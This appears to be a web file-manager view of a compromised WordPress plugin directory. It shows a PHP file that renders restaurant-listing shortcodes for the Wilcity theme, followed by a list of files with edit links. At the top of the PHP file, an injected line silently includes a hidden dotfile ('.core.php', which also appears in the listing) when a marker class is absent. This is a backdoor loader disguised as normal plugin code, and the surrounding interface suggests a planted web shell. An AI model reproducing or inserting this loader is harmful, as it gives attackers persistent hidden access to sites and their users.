PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-shortcodes
/
core
<?php use WILCITY_SC\ParseShortcodeAtts\ParseShortcodeAtts; use WILCITY_SC\SCHelpers; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function wilcityRenderRestaurantListings($aAtts) { $oParseSC = new ParseShortcodeAtts($aAtts); $aAtts = $oParseSC->parse(); switch ($aAtts['heading_style']) { case 'ribbon': wilcityRenderHeadingRibbon($aAtts); break; default: wilcity_render_heading($aAtts); break; } $wrapperClass = 'row wil-text-left '.$aAtts['extra_class']; $aArgs = $aArgs = SCHelpers::parseArgs($aAtts); if (SCHelpers::isApp($aAtts)) { if ($aAtts['isApp']) { echo '%SC%'.json_encode($aAtts).'%SC%'; return ''; } } $query = new WP_Query($aArgs); if (!$query->have_posts()) { wp_reset_postdata(); return ''; } ?> <div class="<?php echo esc_attr($wrapperClass); ?>"> <?php $aAtts['item_wrapper'] = 'col-md-6 col-lg-6 '; while ($query->have_posts()): $query->the_post(); wilcityRenderRestaurantListing($query->post, $aAtts); endwhile; wp_reset_postdata(); if ($aAtts['toggle_viewmore'] == 'enable'): ?> <div class="col-md-12 col-lg-12"> <div class="wil-text-center"> <a class="wil-btn wil-btn--primary wil-btn--round wil-btn--md" href="<?php echo esc_url(SCHelpers::getViewAllUrl($aAtts)); ?>"> <i class="<?php echo esc_attr($aAtts['viewmore_icon']); ?>"></i> <?php echo esc_html($aAtts['viewmore_btn_name']); ?> </a> </div> </div> <?php endif; ?> </div> <?php }
[+]
..
[-] wilcity_render_testimonial_item.php
[edit]
[-] wilcity_render_team_intro_slider.php
[edit]
[-] wilcity_render_modern_term_box.php
[edit]
[-] wilcity_render_modern_term_boxes.php
[edit]
[-] .core.php
[edit]
[-] wilcity_render_contact_us.php
[edit]
[-] wilcity_render_restaurant_listing.php
[edit]
[-] wilcity_render_team_intro_slider_item.php
[edit]
[-] wilcity_render_term_boxes.php
[edit]
[-] wilcity_render_post_types.php
[edit]
[-] wilcity_event_slider_item.php
[edit]
[-] wilcity_listing_slider_item.php
[edit]
[-] wilcity_render_box_icon.php
[edit]
[-] wilcity_render_new_grid.php
[edit]
[-] wilcity_render_hero_search_form.php
[edit]
[-] wilcity_render_term_masonry_items.php
[edit]
[-] wilcity_render_wiloke_wave.php
[edit]
[-] wilcity_render_grid_post.php
[edit]
[-] wilcity_render_rectangle_term_boxes.php
[edit]
[-] wilcity_render_restaurant_listings.php
[edit]
[-] wilcity_widget_list_style.php
[edit]
[-] wilcity_render_heading_ribbon.php
[edit]
[-] wilcity_render_testimonials.php
[edit]
[-] wilcity_render_restaunrant_menu_item.php
[edit]
[-] wilcity_render_events_grid.php
[edit]
[-] wilcity_render_image_box.php
[edit]
[-] wilcity_render_intro_box.php
[edit]
[-] wilcity_render_term_box.php
[edit]
[-] wilcity_render_listings_tabs.php
[edit]
[-] wilcity_render_restaurant_list_menu.php
[edit]
[-] wilcity_render_slider.php
[edit]
[-] wilcity_render_heading.php
[edit]
[-] wilcity_render_event_item.php
[edit]
[-] wilcity_render_rectangle_term_box.php
[edit]
[-] wilcity_post_slider_item.php
[edit]
[-] wilcity_render_terms_slider.php
[edit]
[-] wilcity_render_term_masonry_item.php
[edit]
[-] wilcity_render_grid_item.php
[edit]
[-] wilcity_render_full_width_list_item.php
[edit]
[-] wilcity_render_map.php
[edit]
[-] wilcity_render_hero.php
[edit]
[-] wilcity_terms_box.php
[edit]
[-] wilcity_render_author_slider.php
[edit]
[-] wilcity_render_grid.php
[edit]